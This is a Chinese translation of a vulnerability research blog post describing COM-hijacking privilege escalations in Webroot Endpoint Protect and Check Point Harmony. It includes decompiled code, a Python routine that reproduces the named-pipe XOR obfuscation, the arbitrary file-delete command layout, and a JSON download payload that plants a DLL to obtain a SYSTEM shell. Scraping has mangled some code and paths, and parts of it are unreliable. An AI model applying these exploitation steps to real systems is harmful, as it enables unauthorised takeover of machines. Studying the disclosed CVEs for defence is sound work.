COM 劫持之钥:获取 SYSTEM 权限

admin 2025年2月14日16:50:25评论9 views字数 8192阅读27分18秒阅读模式

【翻译】The Key to COMpromise - Downloading a SYSTEM shell, Part 3 — Neodyme

在本系列第一部分中,我们描述了如何识别趋势科技 Apex One(CVE-2024-36302)使用的 COM 接口,并通过劫持其HKCU注册表配置单元中的关联注册表键来实施重放攻击。在第二部分中,我们再次利用 COM 劫持技术,通过逆向分析 AVG Internet Security(CVE-2024-6510)的 RPC 通信协议来滥用其更新机制。

在这第三篇博客中,我们将详细讲解基于 COM 劫持发现的两个新增漏洞。第一个漏洞影响 Webroot Endpoint Protect(CVE-2023-7241),允许我们通过任意文件删除操作获取SYSTEM权限。第二个案例针对 Checkpoint Harmony(CVE-2024-24912),利用文件下载原语实现SYSTEM权限提升。

漏洞 1:利用文件删除实现本地提权

第一个漏洞的 COM 接口会在用户界面打开特定文件保存对话框时触发。关于 COM 劫持的详细技术背景,请参考本系列第一部分

成功劫持 COM 接口后,我们的自定义 DLL 被加载到用户上下文下的前端进程中:

COM 劫持之钥:获取 SYSTEM 权限
自定义 DLL 加载至前端进程

确认可以在安全产品的前端进程中执行代码后,我们开始分析前后端之间的通信机制。

逆向工程通信协议

我们使用IO Ninja Monitor监控命名管道通信。观察到每次从客户端应用程序与服务交互时,都会通过\.pipeWRSVCPipe管道发送数据。但数据内容呈现乱码特征,无法识别有效字符串或命令:

14:40:36 +53:21.506   Client file opened File name: WRSVCPipe File ID:   0xFFFFAB04BA10ACF0 Process:   DeviceHarddiskVolume2Program FilesWebrootWRSA.exe PID:       54014:40:36 +53:21.506   Server file opened File name: WRSVCPipe File ID:   0xFFFFAB04B3C0B700 Process:   DeviceHarddiskVolume2Program FilesWebrootWRSA.exe PID:       171614:40:36 +53:21.507   File ID 0xFFFFAB04BA1090D0:14:40:36 +53:21.507 > 0000  a5 a5 08 a6 09 b9 08 ba 09 bd 08 be 09 b1 08 b2  ................ > 001009 b5 08 b6 09 c9 08 ca 09 cd 08 ce 09 c1 08 c2  ................ > 002009 c5 08 c6 09 d9 08 da 09 dd 08 de 09 d1 08 d2  ................ > 003009 d5 08 d6 09 e9 08 ea 09 ed 08 ee 09 e1 08 e2  ................ > 004009 e5 08 e6 09 f9 08 fa 09 fd 08 fe 09 f1 08 f2  ................ > 005009 f5 08 f6 090908009008009010802  ................ > 006009050806091908109108109110812  ................ > 007009150816092908209208209210822  .....).*.-...!." > 0080  09 25 08 26 09 39 08 3a 09 3d 08 3e 09 31 08 32  .%.&.9.:.=.>.1.2 > 0090  09 35 08 36 09 49 08 4a 09 4d 08 4e 09 41 08 42  .5.6.I.J.M.N.A.B > 00a0  09 45 08 46 09 59 08 5a 09 5d 08 5e 09 51 08 52  .E.F.Y.Z.].^.Q.R > 00b0  09 55 08 56 09 69 08 6a 09 6d 08 6e 09 61 08 62  .U.V.i.j.m.n.a.b [...]

WRSA.exe客户端应用程序中搜索交叉引用时,我们发现大量指向\.pipeWRSVCPipe的引用。通过分析可以观察到以下重复出现的模式:

input_data = HeapAlloc(ProcessHeap, 8u0x1E89u);if ( !v3 )return0;*input_data = 53// Write first byte? A command?res = WriteEncryptedNamedPipe((_DWORD *)this, (int)L"\\.\pipe\WRSVCPipe", input_data, 0x2710u, 0);

这个被我们重命名为WriteEncryptedNamedPipe的方法实现了某种 XOR 加密算法,用于混淆通过命名管道传输的数据:

if ( buf ){for ( i = 1; i < 7816; ++i ) *((_BYTE *)buf + i) ^= *((_BYTE *)buf + i - 1) ^ (unsigned __int8)(i - 85); *(_BYTE *)buf ^= 0xACu;}

我们观察到缓冲区的每个字节都经过多次 XOR 运算,既使用静态值(例如0xAC)也采用缓冲区其他部分衍生的动态值。这解释了"加密"流量的原理,并使我们能够构建用于"解密"流量的脚本。通过逆向该加密例程,我们最终实现了以下 Python 脚本:

defencrypt(buf):for i in range(1, len(buf)):      buf[i] ^= buf[i-1] ^ (i - 85) & 0xff      buf[0] ^=  0xACreturn bufdefdecrypt(buf):    buf[0] ^=  0xAC    i = 7815while (i > 0):      buf[i] ^=  buf[i-1] ^ (i - 85) & 0xff      i -= 1return buf

虽然这些字符串对我们的用例来说并不那么有趣,但我们在二进制流量中发现了一个结构:第一个字节看起来像是一个 command id!

通过解密用 IO Ninja 记录的流量,我们看到了各种看似是云 URL 的字符串。虽然这些字符串对我们来说并不那么有趣,但我们在二进制流量中发现了一个独特的结构:第一个字节似乎充当了命令标识符!

➜  decrypted xxd entry_0100.bin | head -n30000000052000000000000000000000000000000  R...............0000001000000000000000000000000000000000  ................0000002000000000000000000000000000000000  ................➜  decrypted xxd entry_0101.bin | head -n3000000003a00 0000000000000000000000000000  :...............0000001000000000000000000000000000000000  ................0000002000000000000000000000000000000000  ................➜  decrypted xxd entry_0001.bin | head -n300000000270000000000000000000000 ec2e 3277'.............2w00000010: 0000 0000 0000 0000 0000 0000 76dc b394  ............v...00000020: 0000 0000 a011 9a76 0000 0000 2400 0000  .......v....$...

在尝试重建二进制消息格式时,我们发现了一个负责处理这些命令的全局处理函数:

int __stdcall MsgRecv_Callback(int *a1, unsignedint *input_buf, void *a3, int a4, _DWORD *a5){// [...]if ( !input_buf )return7816; v6 = *input_buf;// [...]if ( v6 > 0x64 ) // [1] {if ( (int *)off_6A4500 != &off_6A4500 && (v7 & 1) != 0 && *(_BYTE *)(off_6A4500 + 25) >= 4u )      TraceMsg_Wrap(*(_QWORD *)(off_6A4500 + 16), 0x17u, &stru_66D2CC, v6);return7816; }if ( !cmd_handler_table[v6] ) {// Invalid function table? }// ... more checksif ( v17 ) {    cmd_id_to_string(*a1, (int)input_buf, v8); // [2] ((void (__thiscall *)(intint *, unsignedint *, int))cmd_handler_table[v6])(funcs_42CE5D[v6], a1, input_buf, a4); // [3] }

处理函数执行几个操作:在[1]中,它首先检查command_id是否超出有效范围(>0x64)。如果在范围内,它会从函数表中调用相应的command_id处理函数(见[3])。对我们来说很好的是,它使用cmd_id_to_string进行调试/跟踪(见[2]),我们可以用它来识别有趣的 command ID:

case0x36: v5 = "FLUSH_CONFIGURATION";goto LABEL_116;case0x37: v5 = "DELETEFILE";goto LABEL_116;case0x38: v5 = "INSTALL_PACKAGE";goto LABEL_116;case0x39: v5 = "GET_PACKAGE_STATUS";goto LABEL_116;case0x3A: v5 = "PERFORM_WALL";goto LABEL_116;

在各种 command ID 中,有一个特别引起了我们的注意:0x37 DELETEFILE,让我们来看看它的实现:

int __stdcall arbitaryDelete(int *a1, int decrypted_buffer, int a3){ WCHAR *v3; // esi v3 = (WCHAR *)(decrypted_buffer + 8);if ( DeleteFileW((LPCWSTR)(decrypted_buffer + 8)) )    *(_DWORD *)(decrypted_buffer + 532) = 1;else    sub_4D7090(*a1, v3);  RemoveDirectoryW(v3);return1;}

正如在MsgRecv_Callback的函数表调用中所观察到的,我们可以控制第二个参数,它对应于解密后的输入缓冲区。通过在缓冲区的0x08偏移处策略性地放置文件名,我们可以使用SYSTEM权限删除任何文件或目录!

利用文件删除

我们发现文件删除功能是一个潜在的权限提升向量。前端和后端之间交换的文件删除命令组成如下:

-------------------------------------------| opcode| 70-bytes | Filename | 0-bytes |-------------------------------------------

在我们的版本中,第一个值是文件删除操作的操作码0x37。接着是 7 个零字节和一个作为 Unicode 字符串提供的文件名。每个命令的总大小为 7816 字节。

通过复制之前描述的混淆逻辑,我们可以通过用于发出命令的命名管道来制作和发送我们自己的删除命令。

为了利用文件删除功能进行权限提升,我们使用了 ZDI 提供的公开PoC。该漏洞利用涉及替换 MSI 安装期间使用的回滚脚本,并在锁屏界面打开屏幕键盘时执行 DLL 劫持以生成一个SYSTEM权限的cmd.exe进程(更多详情可以在这里找到)。

我们运行漏洞利用程序,删除命令目标为C:\Config.msi::$INDEX_ALLOCATION。以下图片显示了成功的执行过程:

COM 劫持之钥:获取 SYSTEM 权限
成功利用文件删除

Process Monitor 确认了文件删除:

COM 劫持之钥:获取 SYSTEM 权限
在 Process Monitor 中可见的文件删除

执行漏洞利用后,在锁屏界面按下CTRL+ALT+DELETE并打开屏幕键盘触发了以SYSTEM权限执行的cmd.exe。很好:

COM 劫持之钥:获取 SYSTEM 权限
以 SYSTEM 权限运行的 cmd.exe

总的来说,我们的漏洞利用过程如下:

  • 我们运行 ZDI 发布的漏洞利用程序。
  • 我们劫持 COM 接口以触发我们的 DLL 加载。
  • 我们的 DLL 发出删除C:\Config.msi::$INDEX_ALLOCATION的命令。
  • ZDI 的 PoC 在我们的系统上放置一个(恶意的)DLL,该 DLL 将被屏幕键盘加载。
  • 在锁屏界面打开屏幕键盘会以SYSTEM权限生成cmd.exe

漏洞 2:滥用文件下载进行权限提升

对于第二个漏洞,我们劫持了dataexchange.dll COM 接口。如第 1 部分所述,劫持接口允许我们在打开和关闭 Check Point Harmony UI 中的扩展菜单点时在前端进程中执行代码。在下面的截图中,菜单点用红色下划线标出:

COM 劫持之钥:获取 SYSTEM 权限
触发目标 COM 接口的菜单点

然后我们需要找到一些有趣的暴露功能来利用。

逆向工程通信

与其他安全产品不同,这个客户端有多个模块和严格的 RPC 接口分离。这方便地让我们快速识别出一个有趣的 DLL:DeviceAgentAPI.dll。这个 DLL 被其他模块导入,API 功能作为 PE 导出暴露:

COM 劫持之钥:获取 SYSTEM 权限
DeviceAgentAPI.dll 中的 RPC 导出

通过对导出函数进行逆向工程,我们确实确认使用了 RPC:我们发现了对RpcBindingFromStringBindingW的引用和在NdrClientCall2中的实际 RPC 调用。我们还识别出客户端的接口 GUID 为2a3ac2b3-43df-471f-b621-f94769c30081

函数DaRpcDownloadFile很快引起了我们的注意:在(可能的)特权上下文中的文件操作总是很危险的。为了验证其影响,我们需要找到 GUID 2a3ac2b3-43df-471f-b621-f94769c30081的 RPC 服务器绑定。使用第二部分中使用的方法,我们追踪到了cpda.exe,这是一个高度特权的服务:

"cpda.exe": {"2a3ac2b3-43df-471f-b621-f94769c30081": {"number_of_functions"10,"functions_pointers": ["0x63d3e0","0x63d650",// [...]

在跟踪了一些嵌套的 RPC 函数表和 C++ vtables 后,我们最终发现了Downloader::IDownloader::vftable

this[11] = &Downloader::IDownloader::`vftable;// [...]// Overwrite with new vtable for IDownloaderthis[11] = &CDA::vftable;

vtable 中链接的其他函数包含类似CDA::DownloadFile这样的字符串,确认了正确的 vtable 调用:

.rdata:0093A168 ??_7CDA@@6B@_7  dd offset RpcDownloadFileInternal.rdata:0093A168                                         ; DATA XREF: sub_4CE7C7+A8↑o.rdata:0093A168                                         ; sub_4CF7EC+66↑o.rdata:0093A16C                 dd offset sub_508D20.rdata:0093A170                 dd offset sub_508FAB.rdata:0093A174                 dd offset sub_534D15

RpcDownloadFileInternal内部,readJSONSafe方法将参数作为一个 JSON 进行处理。这解释了为什么DaRpcDownloadFile只接受一个参数而不是多个参数,这与我们通常的预期不同。尽管服务代码很难阅读,但像urllocalPathconnectTimeoutMs这样的字符串让我们能够猜测出这个方法所期望的 JSON 对象的结构。

接下来要做的就是将DeviceAgentAPI.dll加载到进程中,并使用以下 JSON 字符串调用DaRpcDownloadFile导出函数:

{"url":"http://127.0.0.1/HID.dll","localPath":"C:/Program Files/Common Files/microsoft shared/ink/HID.DLL"}

提升我们的权限

我们编写了一个 DLL 来导入DeviceAgentAPI.dll并使用指定本地路径和托管文件 URL 的 JSON 调用DaRpcDownloadFile。为了方便起见,我们通过 Python web 服务器在本地托管文件,但我们也可以在这里使用远程服务器。

文件HID.dll被放置在C:/Program Files/Common Files/microsoft shared/ink/中,允许通过 DLL 劫持屏幕键盘并以SYSTEM权限启动 CMD。源代码可以从 ZDI 的Github获取。

在触发 COM 劫持来加载我们的 DLL 时,我们在 Python web 服务器上观察到了一个请求:

COM 劫持之钥:获取 SYSTEM 权限
托管 HID.dll 的 Web 服务器

Process Monitor 确认 COM DLL 被加载到cptrayUI.exe进程中...

COM 劫持之钥:获取 SYSTEM 权限
前端加载的 DLL

...并且HID.dll文件被放置到目标文件夹中:

COM 劫持之钥:获取 SYSTEM 权限
HID.dll 被放置在目标目录中

在按下 CTRL+ALT+DELETE 并在锁屏界面打开屏幕键盘后,一个以SYSTEM权限运行的cmd.exe进程被启动,完成了我们的权限提升:

COM 劫持之钥:获取 SYSTEM 权限
以 SYSTEM 权限运行的 cmd.exe

总结一下,我们的第二个漏洞利用的工作原理如下:

  • 我们在 web 服务器上托管HID.dll文件。
  • 我们劫持 COM 接口并将我们的 DLL 加载到受信任的前端进程中。
  • 我们的 DLL 调用DaRpcDownloadFile,将本地路径C:/Program Files/Common Files/microsoft shared/ink/和我们 web 服务器的 URL 作为 JSON 提供。
  • 后端将我们在 web 服务器上托管的 DLL 下载到指定位置。
  • 我们进入锁屏界面并打开屏幕键盘。
  • 我们放置的 DLL 被加载并在锁屏界面打开一个以SYSTEM权限运行的cmd.exe进程。

结论

这篇博文介绍了我们在研究过程中发现的两个漏洞。首先,我们讨论了如何在 Webroot Endpoint Protect 中发现并利用文件删除原语来提升我们的权限。然后,我们展示了如何在 Checkpoint Harmony 中发现并利用文件下载原语。

在本系列的最后一篇博文中,我们将讨论我们在 Bitdefender Total Security 中发现的最后一个权限提升漏洞(CVE-2023-6154)以及 COM 劫持提供的拒绝服务机会。

原文始发于微信公众号(securitainment):COM 劫持之钥:获取 SYSTEM 权限

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月14日16:50:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   COM 劫持之钥:获取 SYSTEM 权限https://cn-sec.com/archives/3741006.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息